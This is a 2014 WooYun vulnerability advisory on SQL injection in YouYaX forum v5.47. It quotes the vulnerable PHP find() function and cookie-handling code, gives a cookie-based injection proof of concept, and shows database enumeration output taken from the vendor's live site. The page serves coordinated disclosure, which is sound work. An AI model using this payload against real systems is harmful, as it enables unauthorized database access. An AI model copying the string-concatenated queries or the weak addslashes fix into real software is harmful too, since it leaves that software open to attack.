当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063739

漏洞标题:YouYaX_V5.47 SQL注入漏洞(官网躺枪)

相关厂商:youyax.com

漏洞作者: 紫衣大侠

提交时间:2014-06-06 11:12

修复时间:2014-06-06 14:15

公开时间:2014-06-06 14:15

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-06: 细节已通知厂商并且等待厂商处理中
2014-06-06: 厂商已经确认,细节仅向厂商公开
2014-06-06: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

昨天刚从官网上下载最新版v5.47的。厂商很萌,所以简单瞅瞅下。。。

详细说明:

问题出现在ORG/YouYa.php文件中。
第356行:

public function find($table, $ext = "string", $param)
{
//在 param 中寻找与给定的正则表达式 pattern 所匹配的子串
if (preg_match_all("/=/", $param, $tmp)) {
$sql = "select * from " . $table . " where " . $param; //echo 'x'.$sql;
} else {
$param = "id=$param";
$sql = "select * from " . $table . " where " . $param; //echo 'y'.$sql;
}
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if ($num <= 0) {
return false;
} else {
$arr = mysql_fetch_array($result);
switch ($ext) {
case "number":
foreach ($arr as $k => $v) {
if (is_string($k)) {
unset($arr[$k]);
}
}
break;
case "string":
foreach ($arr as $k => $v) {
if (is_numeric($k)) {
unset($arr[$k]);
}
}
break;
}
return $arr;
}
}


这里对传入的param参数没有进行过滤,导致存在SQL注入危险。
随便找一处调用该函数的地方,文件Lib/ListAction.php,第165行,index方法内:

if(isset($_COOKIE['youyax_data']) && isset($_COOKIE['youyax_user']) && isset($_COOKIE['youyax_bz'])){
//echo $_COOKIE['youyax_user'];
if($this->find(C('db_prefix') . "user", 'string', "user='" . $_COOKIE['youyax_user'] . "' and cookieid='".$_COOKIE['youyax_cookieid']."'")){
$_SESSION['youyax_data'] = $_COOKIE['youyax_data'];
$_SESSION['youyax_user'] = $_COOKIE['youyax_user'];
$_SESSION['youyax_bz'] = $_COOKIE['youyax_bz'];
}
}



这里find函数将用户cookie信息中的youyax_user、cookieid带入到sql中查询,而这两个值用户是可以控制的。cookieid点存在注射问题。

POC:

PHPSESSID=c96cea77189bb59f33c6f4923513b54a; youyax_data=1; youyax_user=qwerty; youyax_bz=1; youyax_cookieid=0c56f4af01da95954aa7fc60006498d8'


以官网http://bbs.youyax.com/为例:

1.jpg



sql报错

2.jpg



官网数据库信息:

.jpg



web application technology: Apache 2, PHP 5.3.27
back-end DBMS: MySQL 5.0.11
available databases [2]:
[*] information_schema
[*] youyaxco_youyax



速度太慢了,就不继续跑了。。。

漏洞证明:

1.jpg



sql报错

2.jpg



官网数据库信息:

.jpg

修复方案:

find函数对形参$param 进行addslashes过滤.....

版权声明:转载请注明来源 紫衣大侠@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-06-06 14:15

厂商回复:

版本修复了,更新到第56版本

最新状态:

2014-06-06:修复